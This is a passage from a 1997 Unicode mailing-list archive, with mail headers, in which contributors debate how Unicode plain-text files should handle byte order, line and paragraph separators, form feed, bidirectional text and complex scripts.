in a higher level wrapper (e.g. a >> Microsoft Word document, or even HTML) to make it useful has a certain >> frightening consequence: the loss of any expectancy of longevity for our new >> breed of documents. > >There is absolutely nothing new about this. I was warning my linguistic >colleagues about the longevity of their documents when they started using >WordStar back around 82/83. 7-bit ASCII is the only encoding that stayed >stable enough and was widely enough implemented to retain easy >transmissibility >across the computer generations without the intervention of information >archaeologists. Well, 16-bit Unicode plain text is aimed at no less a >goal than being the universal wide-ASCII plain text of the 21st century. > [snip] > >> So let's do our part and make some effort to accommodate traditional >> plain-text applications in Unicode, rather than discourage them :-) > >I agree completely. An excellent example of the appropriate place for >a Unicode plain-text editor would be a Java IDE. If someone writes >a good Unicode plain-text editor for such an application, it would >have wider applicability. (I know I often use the editors of C++ >IDE's to create (ASCII) plain text when I don't want it all gummed up >as a Word or Frame document.) > >Ed Cherlin commented: > >> We want to have a uniform, portable definition of the meaning of a file of >> 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for >> short. At the same time, we have several uses for such files, where >> different interpretations may be desired. If we want to do this right, I >> think we have to find the appropriate organization for defining such file >> formats and uses, and get down to some serious and at times difficult >> standard making. The Unicode character code standard does not seem to be >> the right place to do this. > >I disagree about the last point. A Unicode plain text file consists of >a stream of Unicode characters (and nothing else), interpreted according >to the Unicode standard. It should be marked with an initial U+FEFF (though >technically that is optional). This much is already clear from the standard, >as is the usage of LINE SEPARATOR and PARAGRAPH SEPARATOR for minimal, >unambiguous, plain text formatting consistent with the bidi algorithm. I'm not concerned about where. If the Unicode standard is an acceptable place to do this, I'm in. >The situation is complicated by the two possible byte orders (which is one >reason for the U+FEFF) and by the fact that the most widely implemented >variant, namely that in Windows NT, chose LSB order instead of MSB order. > >But other than that, there is not much more to be said about a Unicode >plain text file. The usefulness of the concept lies in its simplicity. > >--Ken Whistler I disagree about the simplicity of the problem. Some of the leading issues are: byte order in storage and transmission line, paragraph, and page breaks BIDI (Hebrew, Arabic, etc.) non-linear scripts (Indic, Korean, Mongolian, Ethiopian, etc.) multiply accented characters (IPA, math, several human languages) math compatibility characters private use characters control codes other deprecated characters surrogates, especially unpaired surrogate codes non-character values text processing algorithms (sorting, upper and lower case, pattern matching) Full portability of data requires some rules. If there is no standard, users of ""Unicode text files"" will make every possible choice about each of these issues. CRLF will be nothing in comparison. We have begun to see programs that can handle CRLF, CR alone, and LF alone, either line-by-line or in paragraph format, reading and writing in any option. The range of choices for Unicode is far greater, and I don't want to think about how long it would take to achieve unity if we don't do it now. The process for dealing with byte order is fairly simple in itself, and the standard gives clear conformance requirements. Most of the other issues I listed have thorns, few in some cases, and many in others. When I was in Korea in the 1960s, telegrams were printed linearly, so Koreans can read this form of their script if they have to. Indic scripts, Ethiopic, and a few others, would require special training to read as separate elements in a straight line. Do we wish to say that users of these scripts can't have text files? Do we say we have to come up with a suitable rendering method for Unicode text files including full BIDI and full character-->glyph composition? Do we say that there should be implementation levels? None of these alternatives is quite satisfactory at present. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 20-May-97 22:11:38-GMT,4132;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA25206 for ; Tue, 20 May 1997 18:11:32 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25784; Tue, 20 May 97 14:49:30 -0700 Message-Id: <9705202149.AA25784@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2655 (1997-05-20 21:49:05 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Tue, 20 May 1997 14:49:03 -0700 (PDT) Subject: Re: Unicode plain text standard? (was Re: Line Separator Character) > >I'm not sure what you're after. I'm mainly concerned about the continued > >viability of files containing only graphic characters, spaces, line breaks, > >paragraph breaks, and formfeeds. Plain, literal text that can contain > >poetry, tables, source code, you name it, and stays like it is. > > I can tell you don't know what table building in Sanskrit is like, and you > don't understand BIDI direction marking. > Not Sanskrit, certainly, but I know a little about Hebrew by virtue of having devoted some time to issues of Hebrew terminal emulation in the plain-text world, and our Kermit terminal emulators (the software we make here) are quite popular in Israel. But yes, one must go through more than a few contortions on one end or the other (or both) to handle BIDI issues in the terminal/host setting, to the extent that Hebrew is (according to my sources) hardly used at all in email. The contortions involve generation and interpretation of terminal-specific escape sequences for cursor positioning, reversal of writing direction, character insertion, etc, and of course character-set invocation and designation, all of which obviously add up to something more than plain text. So sure, of course I agree that plain streams of text are not adequate for writing systems that are intrinsically bidirectional (like Hebrew) or for which correct rendering is variable and context-dependent (Indic scripts, etc). (So where, you might ask, is Hebrew terminal emulation used? As far as I know, the major application by far is in library information systems like ALEPH; there are some others, like a Hebrew version of the ""vi"" editor and more recently, Mule (Multilingual EMACS). At one point some years ago I thought (naively) that the very same mechanisms could be used for Arabic (after all, PCs have an Arabic code page), but in practice, as far as I can tell, no speaker of Arabic would be satisfied with a character-cell representation of Arabic text, because of the way characters must change shape depending on their context (as you point out), which is evidently not an issue in Hebrew (although it might be in Yiddish).) > Having lived in Korea and Japan, and been a mathematician and APL > programmer, I lost all faith in ASCII long ago. > Right -- I wasn't suggesting we all revert to ASCII -- the ability to write text in as many languages as possible is why we're here! I am looking for the option to extend the simplicity (and success) of ASCII to Unicode -- or at least to the large subset of it (as Ken said) that can be used ""like ASCII"". To me this means the ability to compose a plain-text message containing a certain amount of formatting controls like line breaks, paragraph breaks, and page breaks, that are part of the same code, and without application-specific metacodes (SGML tags, Microsoft Word codes, etc). Let Unicode be able to stand on its own! (Of course, also let it be used in other applications -- but that's not the issue.) If additional considerations need to be applied to the world's more complex scripts in order to have a standard universal representation for plain text, to whatever extent the Unicode 2.0 standard does not already suffice, I'm all for it. Let's not repeat the confusing aspects of ASCII -- particularly CRLF/CR/LF semantics, and, as Ed suggests, let's not leave room for this kind of confusion in areas that are new to Unicode. - Frank 21-May-97 0:19:39-GMT,7895;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA14733 for ; Tue, 20 May 1997 20:19:36 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA26328; Tue, 20 May 97 17:02:20 -0700 Message-Id: <9705210002.AA26328@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2656 (1997-05-21 00:01:51 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Tue, 20 May 1997 17:01:49 -0700 (PDT) Subject: Re: Unicode plain text (Was: Line Separator Character) I (Ken) commented: >But other than that, there is not much more to be said about a Unicode >plain text file. The usefulness of the concept lies in its simplicity. And Ed Cherlin responded: > > I disagree about the simplicity of the problem. And now I think I understand where we were miscommunicating. I was speaking of a Unicode plain text *file*, which I thought was the issue. And for that the issue is simple. A Unicode plain text *file* is Unicode plain text in a file (preferably marked with U+FEFF and in MSB byte order). But what Ed is addressing here is the standardization of the meaning of Unicode *plain text*--an issue which should be considered outside instantiation of that plain text in transmissible computer files. On that point I agree that there are a vast number of issues which require specification and standardization. And I do believe that the Unicode Standard is the correct place to address many of them. I've made the point before that one of the big differences between ISO/IEC 10646 and the Unicode Standard is that 10646 standardizes the encodings and names of the characters, but that the Unicode Standard goes way beyond that and attempts to provide enough information (some normative and some informative) to enable meaningful and transmissible implementations of Unicode plain text. Below is Ed's list of leading issues. I've interspersed my comments indicating what I think the current Unicode Standard's take is on many of them. (Others may disagree, or may feel that things which are not covered should be.) > Some of the leading issues are: > > byte order in storage and transmission Byte order is addressed by the Unicode Standard. > line, paragraph, and page breaks The Unicode Standard specifies LINE SEPARATOR and PARAGRAPH SEPARATOR, but considers page break to be out of scope. > BIDI (Hebrew, Arabic, etc.) The normative bidi algorithm is specified in great detail in the Unicode Standard. > non-linear scripts (Indic, Korean, Mongolian, Ethiopian, etc.) The Unicode Standard considers specification of script behavior to be part of the desired content of the standard. It doesn't do an equally detailed accounting of all cases, mostly due to resource and information constraints. But Devanagari and Tamil script handling are provided in significant detail as a guide to Indian script behavior, and there is an extensive discussion of Arabic script shaping behavior. There is a specification of normative behavior for Hangul combining jamo. If we could get equally detailed expert contributions for each complex script, I expect the inclination of the UTC and the editors would be to include them in the standard, for everybody's benefit. > multiply accented characters (IPA, math, several human languages) This is considered an integral part of the Unicode Standard, and is detailed with both normative and informative sections. > math There is a definite gap here, though the topic has been a continuing one for the UTC. The consensus seems to be that we would like to get a consistent model of plain text math formula construction stated, to make such information exchangeable in Unicode plain text. > compatibility characters These are now completely specified in the Unicode Standard names list. > private use characters Also specified by the standard, although the interpretation of particular usages of private use characters is, by definition, out of scope for the standard. But there has been some effort by people to make available specifications of their particular private or corporate private usage repertoires of private use characters. > control codes If you mean by this, U+0000 .. U+001F, U+0080..U+009F and the control chimera U+007F, then the Unicode Standard does provide a answer. It doesn't try to reinvent control function standards, but it says those characters should be interpreted as if they were 16-bit analogues of the 8-bit encodings of the corresponding control functions. Maybe unsatisfying, but probably the best we can expect, given existing control code usage. > other deprecated characters There may be room for improvement here, but the Unicode Standard has had to tread a little carefully here. There are political consequences in crying out too loudly that xyz are *deprecated* when xyz may be somebody else's favorite set they lobbied hard to get in! > surrogates, especially unpaired surrogate codes Surrogate usage (in general, as opposed to particular encodings for surrogate pairs, none of which exist yet) is fully specified by the Unicode Standard. > non-character values As opposed to unassigned character values, there are only two non-character values in Unicode: 0xFFFE and 0xFFFF. The standard specifies that 0xFFFE is the illegal byte-swapped version of U+FEFF. The use of 0xFFFF is deliberately unspecified and is untransmissible by design. > text processing algorithms (sorting, upper and lower case, pattern matching) Default case mapping is provided as an informative part of the Unicode Standard. Language-specific casing is effectively also a part of the standard, since everybody knows the few instances in question: Turkish i, the debatable French accents, German ��, etc., and they are discussed in the standard. Beyond that, sorting, pattern matching, etc. are out of scope of the Unicode Standard (though some implementation guidelines are provided), and, in my opinion, appropriately belong to other standards under development. > > Full portability of data requires some rules. If there is no standard, > users of ""Unicode text files"" will make every possible choice about each of > these issues. CRLF will be nothing in comparison. We have begun to see > programs that can handle CRLF, CR alone, and LF alone, either line-by-line > or in paragraph format, reading and writing in any option. The range of > choices for Unicode is far greater, and I don't want to think about how > long it would take to achieve unity if we don't do it now. Yes, but... The goal is interchangeable plain text that is legible when interpreted and rendered in accord with the standard. The goal is not to force everyone to ""spell"" multilingual text exactly the same way. The drafters of the Unicode Standard tried to place normative requirements on plain text where failure to do so would lead to complete chaos. Obvious examples are specification that combining marks must follow (not precede) their base character, and specification of the complete bidi algorithm. Failure to specify either of these would clearly have led to uninterpretable gibberish if everyone made up their own rules, and that was clearly understood by the members of the Unicode Technical Committee. But one draws the line somewhere. No one wants to legislate against people, for example, making cross-linguistic puns in text by spelling out Russian words with Latin letters, or any other ""inappropriate"" or creative usage of the characters at their disposal, once Unicode implementations become more widely available. Half the joy of having universal multilingual text implemented on computers will be seeing what creative and fantastic new inventions millions of users put it to. --Ken Whistler 21-May-97 1:32:55-GMT,2729;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id VAA24596 for ; Tue, 20 May 1997 21:32:53 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA26556; Tue, 20 May 97 18:14:20 -0700 Message-Id: <9705210114.AA26556@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 X-Uml-Sequence: 2657 (1997-05-21 01:13:31 GMT) To: Multiple Recipients of Reply-To: clarkcb@corp.sykes.com From: ""Unicode Discussion"" Date: Tue, 20 May 1997 18:13:29 -0700 (PDT) Subject: Unicode Plain Text Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id VAA24596 I'm a little confused by this recent thread. I get the feeling that some people think Unicode needs additional features to be useable, whereas I think that the necessary features need to be present in Unicode-supporting applications and fonts. Maybe I'm misunderstanding, but I'll continue anyway. I think maybe the problem is that the definition of ""plain text"" needs some refining with respect to Unicode. To me, a Unicode plain text file would contain ANY Unicode character. It would be the writer's responsibility (together with an input editor, perhaps) to make sure the file contained the minimum necessary information to render correctly, eg. proper placement of directional indicators, etc., and it would in turn be the application's responsibility to render the file in a readable fashion, given the information contained in the file. Keep in mind that even 7-bit ASCII text still must be ""rendered"" by an editor on the screen. Also, keep in mind that, according to the Unicode Standard, compliance does not necessarily mean full support. An application might not have bidirectional rendering capabilities, but that does not mean that a Unicode file with a mixture or English and Hebrew/Arabic with directional indicators is not a plain text file. What makes a plain text file different from any other electronic document, in my opinion, is the lack vs. the presence of ""style"" information, such as font, font size, margins, etc., and additionally, in the case of SGML instances, procedural markup. As for usage standards, such as CRLF vs. CR vs. LF vs. LS vs. PS, etc., we have two options: 1. agree on definitive standards now, and support nothing but, or 2. support everything Now, I have done enough programming to know that supporting more means more headaches, but I still feel that the second option is the better one at this time. Feedback? Cary 21-May-97 19:00:12-GMT,5614;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id OAA04479 for ; Wed, 21 May 1997 14:59:51 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA29248; Wed, 21 May 97 11:11:19 -0700 Message-Id: <9705211811.AA29248@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2661 (1997-05-21 18:10:29 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Wed, 21 May 1997 11:10:27 -0700 (PDT) Subject: Re: Unicode plain-text file Doug/Mark, Thanks a lot for your answers. They clarify a lot of things. > ** This is not consistent with the output on your web page. To force the > ** date to be formatted left to right assuming this logical order, you'd > ** need to force all date characters to L. This can be done either using an LRM > ** before the first Roman digit, if the digits are roman, or by surrounding > ** the date with LRO..PDF, if the digits are arabic-indic. Note that LRE > ** won't work because the reverse solidus, being between two AN, would > ** still convert to R, instead of L as desired. I finally had a chance to chat with my Arab friend to whom I owe this short fragment. It is visually correct (on GIF/PS), but my logical ordering was worng. The logical order is 10\\3\\90. So it seems that things should automatically fall into place with no extra markup. It is a reverse solidus. The digits are arabic-indic (U+066x). So the reverse solidus, an ON, stays R as needed by virtue of the ANs being treated as Rs for the purpose of resolving neutrals. Not simple, but effective. That section of the standard really requires careful reading and exploring :-). > ... So in line 2, the level wouldn't change simply > ** because of a switch from English to German, since the German > ** characters would be L. Only LRE or LRO would do that. Since you > ** don't indicate strong formatting characters, I'd have to assume they > ** were present to force the levels you indicate. The levels as shown are what I believe(d) they should be. I didn't include the required BIDI markup, but would assume that the application that outputs the file for this text would include whatever is necessary to achieve this result. So you assumed correctly. > @@ The standard is pretty clear. Most of those opinions are from people > @@ who have not read it. Think of these characters in terms of what you > @@ use in a word processor. > @@ For Microsoft word or FrontPage, think of LS as the > @@ character that you get with shift-Return > @@ (causing no paragraph spacing or indent), > @@ and PS as what you get with Return. > @@ (on the Mac, this would be option-Return). Thinking in terms of a word processor is what I'm trying to get away from, because it's not really open. (And I live on Unix :-)) When I open up a file using vi on Unix, I can't tell if this file was created with vi, emacs, pine, ed, sed, awk or whatever. There are still issues (CR/LF/CRLF, TAB, FF placement, top 128 codes) with plain-text ASCII files, but still, it is a very useful concept. Imagine if I had to open mail from user A with vi, from user B with emacs, from user C with pine because that's what each used to write to me. It would be chaos. Unfortunately, if we can't agree on some conventions for plain-text Unicode files, we're going to get into this situation to some extent. Right now, if I want to be as flexible as possible (in an editor, say), I have to deal with 4 new-line conventions (maybe 5): CR, LF, CRLF, LS, maybe NL. I have to deal with various placements of FFs. And I may have to deal with various uses and misuses of some of the new codes. > ** This is a good observation! We believe the current standard is in > ** error and should categorize LS as whitespace instead of as a block > ** separator. I'll consider it changed. > ** That said, the explicit formatting codes are basically intended for static > ** text interchange only. They pose several problems for editing. One is that it > ** is easy to radically alter the text by inserting, copying, or deleting I wouldn't let a user directly input/modify BIDI markup! Rather I'd have him/her tell the editor what a piece of text should look like, then let the editor issue whatever markup is required to achieve this at the time the file is written out. > ** FF is higher-level formatting, you'd have to interpret it separately. > @@ In particular, you would definitely interpret it as a block separator. That's one area where I'd love more guidance from Unicode. FF is, I think, a reasonable requirement for plain-text files, so I would have liked Unicode to tell me more about it, or provide a PAS -- page separator. Pierre lew@nortel.ca P.S.1. I was shocked, when I visited the IUC10 Web site, to find HTML pages in Unicode, but no plain-text files. Yes, let Unicode be able to stand on its own (as fdc@watsun.cc.columbia.edu writes)! P.S.2. Btw, one thing I love about ""plain-text"" files is that they have the best chances of surviving. If I write stuff today that my 3-year old will want to read when he turns 33, my only choice is plain text. To write for him in French, plain-text ASCII (with the Latin1 assumption) is just fine. But if I wanted to add some notes in Greek, Russian or Yiddish, I need more than just the ASCII conventions and Latin1 codepage. P.S.3. Someone in this thread stated that LF was a paragraph separator in Unix. I see it as a line separator. 22-May-97 8:33:13-GMT,1687;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id EAA13940 for ; Thu, 22 May 1997 04:33:12 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA01595; Thu, 22 May 97 01:07:55 -0700 Message-Id: <9705220807.AA01595@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2666 (1997-05-22 08:07:03 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Thu, 22 May 1997 01:06:53 -0700 (PDT) Subject: Re: Unicode plain-text file >> ** FF is higher-level formatting, you'd have to interpret it separately. >> @@ In particular, you would definitely interpret it as a block separator. No, no, please, no! Whitespace, please, or some new category. FF can come in the middle of a paragraph, or a sentence, or even a word. >That's one area where I'd love more guidance from Unicode. FF is, I think, >a reasonable requirement for plain-text files, so I would have liked >Unicode to tell me more about it, or provide a PAS -- page separator. >P.S.3. Someone in this thread stated that LF was a paragraph separator >in Unix. I see it as a line separator. Another good example of the confusion we need to prevent. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein 22-May-97 9:31:20-GMT,4440;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id FAA19614 for ; Thu, 22 May 1997 05:31:18 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA01475; Thu, 22 May 97 01:04:38 -0700 Message-Id: <9705220804.AA01475@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2663 (1997-05-22 08:03:46 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Thu, 22 May 1997 01:03:44 -0700 (PDT) Subject: Unicode plain text standard? (was Re: Line Separator Character) >Oops, never mind -- it was this: > >> We want to have a uniform, portable definition of the meaning of a file of >> 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for >> short. At the same time, we have several uses for such files, where >> different interpretations may be desired. If we want to do this right, I >> think we have to find the appropriate organization for defining such file >> formats and uses, and get down to some serious and at times difficult >> standard making. The Unicode character code standard does not seem to be >> the right place to do this. >> >I'm not sure what you're after. I'm mainly concerned about the continued >viability of files containing only graphic characters, spaces, line breaks, >paragraph breaks, and formfeeds. Plain, literal text that can contain >poetry, tables, source code, you name it, and stays like it is. I can tell you don't know what table building in Sanskrit is like, and you don't understand BIDI direction marking. >Pretty much what we have today with 7- and 8-bit plain text, except without >the confusion over CRLF/CR/LF, etc. and the utter incompatibility of the extra 128 characters in the 8-bit sets between PC DOS, PC Windows, Mac, various Unix definitions, and all the other extended ASCII code sets such as PC code pages and the ISO 8859 series. Files of 8-bit characters are extremely non-portable. Having lived in Korea and Japan, and been a mathematician and APL programmer, I lost all faith in ASCII long ago. It is horribly inadequate for English, and more so for almost any other language, except for various computer programming languages and constructed languages like Lojban, which were deliberately built within the limits of ASCII, or in the old days EBCDIC. >I think that what's really valuable about >these files is their self-contained and independent expressiveness -- they >don't need a rendering engine, they don't need any special transport protocol >-- they contain the text and the minimal control information to be transported >and understood universally. >- Frank I agree on the transport protocol in principle, although today we need UTF-7, UTF-8, and other encodings, but the idea of full Unicode text without a rendering engine won't fly. That's fine for simple alphabetic scripts, and even for Chinese and Japanese. It doesn't work right for RTL scripts (Arabic and Hebrew), especially for mixtures of RTL and LTR, and for scripts that combine characters into larger groups, usually syllables. This includes Korean, all of the Indic scripts, Tibetan, and Ethiopic. Arabic script has a very large dependence on ligatures, some of them quite complex. There are also problems for rendering math expressions in plain text. Then there are various deprecated characters, the private use areas, and the surrogate character mechanism. Anyone who thought the CRLF business was bad should consider how many incompatible choices can be made in Unicode. Yes, it is true that the Unix file model of a sequence of uninterpreted bytes is very general, and so is a file of uninterpreted 16-bit codes, but files have to be interpreted to be useful. We gloss over the amount of interpretation we do on ASCII text files, but we cannot do that with Unicode. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein Ed Cherlin cherlin@cauce.org Support the anti-Spam amendment Text at Free signature--Inquire within. 22-May-97 10:02:07-GMT,7689;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id GAA23212 for ; Thu, 22 May 1997 06:02:05 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA01479; Thu, 22 May 97 01:04:41 -0700 Message-Id: <9705220804.AA01479@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2664 (1997-05-22 08:04:06 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Thu, 22 May 1997 01:04:05 -0700 (PDT) Subject: Re: Unicode plain text (Was: Line Separator Character) kenw@sybase.com (Kenneth Whistler) wrote: [snip] >You can still use U+000C FORM FEED in Unicode plain text, and a renderer that >knows about page breaks can do the ""right thing"", namely whatever it did with >^L for an ASCII text. FORM FEED, like HORIZONTAL TAB, was not considered to >be ambiguous enough in usage (unlike CR/LF) to require any separate encoding >in Unicode. > >> In any case, the strong Use-A-GUI thrust of Unicode will make it >>increasingly >> difficult for certain kinds of people to operate in the ways to which they >> have become accustomed over the past decades in which plain text was ""good >> enough"" save that one could not put lots of languages into it. > >The goal of Unicode plain text is to recapture that portability in the >encoding, but also allow you to put lots of languages into it. The ""Use-A-GUI >thrust"" of Unicode acknowledges the fact that rendering of complex scripts >(including the Latin script with generative use of combining marks) requires >logic that is much more amenable to implementation in a GUI framework than in >a terminal model. However, appropriate (and very large and useful) subsets of >Unicode *can* be implemented with simple rendering models. (Cf. Windows NT >until very recently. :-) ) > >> I can move this letter to practically any >> other platform and it will still be perfectly legible and printable -- no >> export or import or conversion or version skew to worry about. I think >>a lot >> of people would be perfectly happy to do the same in a plain-text Unicode >> world using plain-text Unicode terminals and printers, if there were such >> things. The Everson Mono fonts would suit such a product admirably, up to a point. >That is exactly what Unicode plain text is all about. And, by the way, >Notepad on Windows NT was pretty close to being a ""plain-text Unicode >terminal"". > >> The idea that one must embed Unicode in a higher level wrapper (e.g. a >> Microsoft Word document, or even HTML) to make it useful has a certain >> frightening consequence: the loss of any expectancy of longevity for our new >> breed of documents. > >There is absolutely nothing new about this. I was warning my linguistic >colleagues about the longevity of their documents when they started using >WordStar back around 82/83. 7-bit ASCII is the only encoding that stayed >stable enough and was widely enough implemented to retain easy >transmissibility >across the computer generations without the intervention of information >archaeologists. Well, 16-bit Unicode plain text is aimed at no less a >goal than being the universal wide-ASCII plain text of the 21st century. > [snip] > >> So let's do our part and make some effort to accommodate traditional >> plain-text applications in Unicode, rather than discourage them :-) > >I agree completely. An excellent example of the appropriate place for >a Unicode plain-text editor would be a Java IDE. If someone writes >a good Unicode plain-text editor for such an application, it would >have wider applicability. (I know I often use the editors of C++ >IDE's to create (ASCII) plain text when I don't want it all gummed up >as a Word or Frame document.) > >Ed Cherlin commented: > >> We want to have a uniform, portable definition of the meaning of a file of >> 16-bit character codes interpreted as Unicode, or ""Unicode text file"" for >> short. At the same time, we have several uses for such files, where >> different interpretations may be desired. If we want to do this right, I >> think we have to find the appropriate organization for defining such file >> formats and uses, and get down to some serious and at times difficult >> standard making. The Unicode character code standard does not seem to be >> the right place to do this. > >I disagree about the last point. A Unicode plain text file consists of >a stream of Unicode characters (and nothing else), interpreted according >to the Unicode standard. It should be marked with an initial U+FEFF (though >technically that is optional). This much is already clear from the standard, >as is the usage of LINE SEPARATOR and PARAGRAPH SEPARATOR for minimal, >unambiguous, plain text formatting consistent with the bidi algorithm. I'm not concerned about where. If the Unicode standard is an acceptable place to do this, I'm in. >The situation is complicated by the two possible byte orders (which is one >reason for the U+FEFF) and by the fact that the most widely implemented >variant, namely that in Windows NT, chose LSB order instead of MSB order. > >But other than that, there is not much more to be said about a Unicode >plain text file. The usefulness of the concept lies in its simplicity. > >--Ken Whistler I disagree about the simplicity of the problem. Some of the leading issues are: byte order in storage and transmission line, paragraph, and page breaks BIDI (Hebrew, Arabic, etc.) non-linear scripts (Indic, Korean, Mongolian, Ethiopian, etc.) multiply accented characters (IPA, math, several human languages) math compatibility characters private use characters control codes other deprecated characters surrogates, especially unpaired surrogate codes non-character values text processing algorithms (sorting, upper and lower case, pattern matching) Full portability of data requires some rules. If there is no standard, users of ""Unicode text files"" will make every possible choice about each of these issues. CRLF will be nothing in comparison. We have begun to see programs that can handle CRLF, CR alone, and LF alone, either line-by-line or in paragraph format, reading and writing in any option. The range of choices for Unicode is far greater, and I don't want to think about how long it would take to achieve unity if we don't do it now. The process for dealing with byte order is fairly simple in itself, and the standard gives clear conformance requirements. Most of the other issues I listed have thorns, few in some cases, and many in others. When I was in Korea in the 1960s, telegrams were printed linearly, so Koreans can read this form of their script if they have to. Indic scripts, Ethiopic, and a few others, would require special training to read as separate elements in a straight line. Do we wish to say that users of these scripts can't have text files? Do we say we have to come up with a suitable rendering method for Unicode text files including full BIDI and full character-->glyph composition? Do we say that there should be implementation levels? None of these alternatives is quite satisfactory at present. -- Edward Cherlin Help outlaw Spam Everything should be made Vice President http://www.cauce.org as simple as possible, NewbieNet, Inc. 1000 members and counting __but no simpler__. http://www.newbie.net/ 17 May 97 Attributed to Albert Einstein Ed Cherlin cherlin@cauce.org Support the anti-Spam amendment Text at Free signature--Inquire within. 22-May-97 10:24:51-GMT,10338;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id GAA26796 for ; Thu, 22 May 1997 06:24:49 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA01571; Thu, 22 May 97 01:07:10 -0700 Message-Id: <9705220807.AA01571@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 2665 (1997-05-22 08:06:33 GMT) To: Multiple Recipients of Reply-To: Edward Cherlin From: ""Unicode Discussion"" Date: Thu, 22 May 1997 01:06:32 -0700 (PDT) Subject: Re: Unicode plain text (Was: Line Separator Character) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id GAA26796 kenw@sybase.com (Kenneth Whistler), commenting on my previous message, did an admirable job of summarizing the state of the problem of Unicode plain text in terms of what the Unicode standard does and does not cover, and the fact that a standard for use of such files must address many more issues. I (Ed) agree with his summary entirely. My added comments here address the issues of function of editors and renderers. >I (Ken) commented: > >>But other than that, there is not much more to be said about a Unicode >>plain text file. The usefulness of the concept lies in its simplicity. > >And Ed Cherlin responded: > >> >> I disagree about the simplicity of the problem. > >And now I think I understand where we were miscommunicating. I was >speaking of a Unicode plain text *file*, which I thought was the >issue. And for that the issue is simple. A Unicode plain text *file* >is Unicode plain text in a file (preferably marked with U+FEFF >and in MSB byte order). > >But what Ed is addressing here is the standardization of the meaning >of Unicode *plain text*--an issue which should be considered outside >instantiation of that plain text in transmissible computer files. >On that point I agree that there are a vast number of issues which >require specification and standardization. And I do believe that the >Unicode Standard is the correct place to address many of them. I've >made the point before that one of the big differences between ISO/IEC >10646 and the Unicode Standard is that 10646 standardizes the encodings >and names of the characters, but that the Unicode Standard goes way >beyond that and attempts to provide enough information (some >normative and some informative) to enable meaningful and transmissible >implementations of Unicode plain text. > >Below is Ed's list of leading issues. I've interspersed my comments >indicating what I think the current Unicode Standard's take is on >many of them. (Others may disagree, or may feel that things which >are not covered should be.) > >> Some of the leading issues are: >> byte order in storage and transmission > >Byte order is addressed by the Unicode Standard. No problem there. We might want to go further and *require* a byte order mark. >> line, paragraph, and page breaks > >The Unicode Standard specifies LINE SEPARATOR and PARAGRAPH SEPARATOR, >but considers page break to be out of scope. That would have to be addressed, because it will be used. >> BIDI (Hebrew, Arabic, etc.) > >The normative bidi algorithm is specified in great detail in >the Unicode Standard. So Unicode text editors should be required to implement it correctly, if they handle BIDI at all. >> non-linear scripts (Indic, Korean, Mongolian, Ethiopian, etc.) > >The Unicode Standard considers specification of script behavior to >be part of the desired content of the standard. It doesn't do an >equally detailed accounting of all cases, mostly due to resource 